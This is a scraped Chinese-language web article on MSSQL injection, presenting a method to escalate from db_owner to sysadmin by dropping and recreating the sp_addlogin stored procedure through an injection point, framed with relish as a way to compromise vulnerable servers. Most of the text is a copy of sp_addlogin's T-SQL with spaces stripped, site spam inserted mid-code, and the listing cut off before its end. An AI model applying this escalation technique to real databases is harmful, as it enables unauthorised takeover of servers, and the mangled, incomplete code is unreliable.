This Domain(Admin5.com) is for Sale:

SQL注入攻击通杀

时间:2007-12-23  来源:不详  作者:迈克DB
MSSQL注入通杀,只要有注入点就有系统权限
  不知道大家看过这篇文章没有,可以在db_owner角色下添加SYSADMIN帐号,这招真狠啊,存在MSSQL注射漏洞的服务器又要遭殃了。方法主要是利用db_owner可以修改sp_addlogin和sp_addsrvrolemember这两个存储过程,饶过了验证部分。具体方法如下:先输入dropproceduresp_addlogin,然后在IE里面输入createproceduresp_addlogin
  @loginamesysname
  ,@passwdsysname=Null
  ,@defdb;;sysname=’master’--UNDONE:DEFAULT
  CONFIGURABLE???
  ,@deflanguagesysname=Null
  ,@sidvarbinary(16)=Null
  ,@encryptoptvarchar(20)=Null
  AS
  --SETUPRUNTIMEOPTIONS/DECLAREVARIABLES--
  setnocounton
  Declare@retint--returnvalueofspcall
  --DISALLOWUSERTRANSACTION--
  setimplicit_transactionsoff
  IF(@@trancount>0)
  begin
  raiserror(15002,-1,-1,’sp_addlogin’)
  return(1)
  end
  --VALIDATELOGINNAMEAS:
  --(1)ValidSQLName(SQLLOGIN)
  --(2)Nobackslash(NTusersonly)
  --(3)Notareservedloginname 织梦好,好织梦
  execute@ret=sp_validname@loginame
  if(@ret<>0)
  return(1)
  if(charindex(’\’,@loginame)>0)
  begin
  raiserror(15006,-1,-1,@loginame)
  return(1)
  end
  --Note:differentcasesaisallowed.
  if(@loginame=’sa’orlower(@loginame)in(’public’))
  begin
  raiserror(15405,-1,-1,@loginame)
  return(1)
  end
  --LOGINNAMEMUSTNOTALREADYEXIST--
  ifexists(select*frommaster.dbo.sysloginswhereloginname=
  @loginame)
  begin
  raiserror(15025,-1,-1,@loginame)
  return(1)
  end
  --VALIDATEDEFAULTDATABASE--
  IFdb_id(@defdb)ISNULL
  begin
  raiserror(15010,-1,-1,@defdb)
  return(1)
  end
  --VALIDATEDEFAULTLANGUAGE--
  IF(@deflanguageISNOTNull)
  begin
  Execute@ret=sp_validlang@deflanguage
  IF(@ret<>0)
  return(1)
  end
  ELSE
  begin
  select@deflanguage=namefrommaster.dbo.syslanguages
织梦内容管理系统

  wherelangid=@@default_langid--serverdefault
  language
  if@deflanguageisnull
  select@deflanguage=N’us_english’
  end
  --VALIDATESIDIFGIVEN--
  if((@sidISNOTNull)and(datalength(@sid)<>16))
  begin
  raiserror(15419,-1,-1)
  return(1)
  end
  elseif@sidisnull
  select@sid=newid()
  if(suser_sname(@sid)ISNOTNull)
  begin
  raiserror(15433,-1,-1)
  return(1)
  end
  --VALIDATEANDUSEENCRYPTIONOPTION--
  declare@xstatussmallint
  select@xstatus=2--access
  if@encryptoptisnull
  select@passwd=pwdencrypt(@passwd)
  elseif@encryptopt=’skip_encryption_old’
  begin
  select@xstatus=@xstatus|0x800,--old-style
  encryption
  @passwd=convert(sysname,convert(varbinary
  (30),convert(varchar(30),@passwd)))
  end
  elseif@encryptopt<>’skip_encryption’
  begin
  raiserror(15600,-1,-1,’sp_addlogin’)

看完这篇,您有何感觉呢?

文章评论

共有位Admini5网友发表了评论 查看完整内容

24小时热门信息